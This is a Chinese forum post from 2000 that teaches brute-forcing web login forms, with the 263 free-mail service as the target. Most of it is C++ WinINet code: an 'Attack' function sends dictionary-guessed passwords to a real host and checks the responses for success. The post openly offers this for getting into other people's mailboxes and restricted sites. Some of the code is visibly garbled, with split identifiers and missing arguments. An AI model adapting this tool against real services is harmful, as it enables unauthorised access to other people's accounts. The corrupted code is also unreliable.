直達快巴

高速·直達·全日無花假一口價~

10 成员44 主题9 回复0 张照片

WWW一般站點攻擊法

№
№狂刀№㊣
2000-11-10 01:08
這兒的WWW攻擊只限一般站點的攻擊 對于采用安全連接的站點還沒有試過 一個很好的實踐的目標就是各種支持WWW的免費郵件 如果你想用它來進入黃色站點 那也沒辦法 一般的站點中 如果你想瀏覽某些需要授權的內容 首先要經過身份驗證這一步 就是讓你輸入用戶名、密碼 然后瀏覽器會根據HTML文件中FORM的定義 把這些信息發給服務器來驗證 一般的辦法是GET或POST 比如在263中 請看下面的263 HTML源代碼
用戶名: @263.net 口令:
如果點擊"請進吧!",瀏覽器會向服務器發送一下請求 POST /prog/login/?user=aaa@pass=bbb 既然知道了原理 那我們就可以模擬用戶點擊的過程 (未完待續) 微軟給我們提供了一套現成的API讓我們可以使用HTTP協議而不需通讀RFC文檔 現在 我們就可以發動進攻了 請看源程序 不想灌水 我把該程序中讀字典的部分和判斷攻擊是否成功的部分省掉了 但都作了注釋 const TCHAR szHeaders[] ="Accept: text/*\r\nUser-Agent: URLHacker\r\n"; //pServer是目標主機名 //cszPostData就是剩下的部分 //比如攻擊263的免費郵箱,那么 //pServer="freemail.263.net" //cszPostData="/prog/login?user=tom&pass=fuck" //當然,你要先讀字典文件,讀取pass的值 void Attack(LPSTR pServer,LPSTR cszPostData) { // Open Internet session. HINTERNET hSession = ::InternetOpen("URLHacker", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0) ; // Connect to dest. HINTERNET hConnect = ::InternetConnect(hSession, pServer, INTERNET_INVALID_PORT_NUMBER, "", "", INTERNET_SERVICE_HTTP, 0, 0) ; // Request the file from the server. HINTERNET hHttpFile = ::HttpOpenRequest(hConnect, "GET", cszPostData, HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0) ; // Add request headers BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrle n(sz ea ders),HTTP_ADDREQ_FLAG_ADD); // Send the request. BOOL bSendRequest = ::HttpSendRequest(hHttpFile, NULL, 0, 0, 0); // Get the length of the file. char szBuffer[80] ; DWORD dwLen = sizeof(szBuffer); DWORD dwIndex; BOOL bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_STATUS_CODE, szBuffer, &dwLen, NULL); DWORD dwRet; if (bRet) dwRet = (DWORD) atol(szBuffer); if (dwRet == HTTP_STATUS_DENIED){ //這是另外一種驗證的辦法,和系統的用戶名、口令結合起來 //InternetConnect中第3、4個參數就是用戶名和口令 //下面怎么做不用我說了吧 } if (HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, NULL, &dwL en, )) bRet = TRUE; else { // now that we know how long it is, ask for exactly that muc h // space and really request the header from the API LPTSTR pstr = new TCHAR[dwLen]; bRet = HttpQueryInfo(hHttpFile, HTTP_QUERY_RAW_HEADERS_CRLF, pst , &dwLen, &dwIndex); delete []pstr; } // were we redirected? // these response status codes come from WININET.H if (dwRet == HTTP_STATUS_MOVED | | dwRet == HTTP_STATUS_REDIRECT | | dwRet == HTTP_STATUS_REDIRECT_METHOD) { //被重定向到其它地址,需要重新連接到新的地址 } // Convert length from ASCII string to a DWORD. // Allocate a buffer for the file. char* buffer = new char[dwLen+1] ; // Read the file into the buffer. DWORD dwBytesRead ; BOOL bRead = ::InternetReadFile(hHttpFile, buffer, dwLen+1, &dwBytesRead); //可以在這兒根據讀到的內容判斷攻擊是否成功 //怎么?不會! //試一下手工猜口令,肯定給你一個出錯的畫面 //如果讀到的內容中不包括那些錯誤信息,就又可能成功了 delete [] buffer; ::InternetCloseHandle(hHttpFile); ::InternetCloseHandle(hConnect) ; ::InternetCloseHandle(hSession) ; } 創建一個會話 HINTERNET hSession = ::InternetOpen( "URLHacker",//Agent名,隨便取 INTERNET_OPEN_TYPE_PRECONFIG,//使用定義的連接方式 NULL, INTERNET_INVALID_PORT_NUMBER, 0) ; 連接到服務器 HINTERNET hConnect = ::InternetConnect( hSession, pServer,//服務器名 INTERNET_INVALID_PORT_NUMBER, "",//用戶名 "",//口令 INTERNET_SERVICE_HTTP,//HTTP 0, 0); 向服務器發出請求 HINTERNET hHttpFile = ::HttpOpenRequest(hConnect, "GET",//可用GET或POST cszPostData,//對應于HTTP命令 GET cdzPostData HTTP_VERSION, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0); 加一個請求頭,自我炫耀一下,hehe BOOL bAddHeaders = ::HttpAddRequestHeaders(hConnect,szHeaders,lstrlen(szHead ers),HTTP_ADDREQ_FLAG_ADD); 接下來,查詢該請求返回的信息,然后讀之。
1 / 1

登录后回复。